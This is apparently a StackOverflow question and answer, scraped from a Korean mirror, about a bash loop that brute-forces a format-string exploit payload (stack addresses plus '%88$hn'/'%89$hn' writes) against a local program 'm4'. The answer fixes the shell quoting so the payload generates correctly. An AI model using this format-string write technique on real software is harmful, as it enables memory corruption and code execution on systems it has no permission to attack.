문제

I'm having some problem with my shell script:

I want to run my program m4 with different kind of string, I wrote down this script:

#!/bin/bash

for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done

It counts from 10 to FD in hexadecimal and put this values in my string. This error appears:

ValueError: invalid \x escape

First question: is this a real error or just a warning? Second question: why if all the value are made of two characters in the address you should see in the string, the error however appears?

도움이 되었습니까?

해결책

Should work when you take the hex_base out of single quotes:

./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top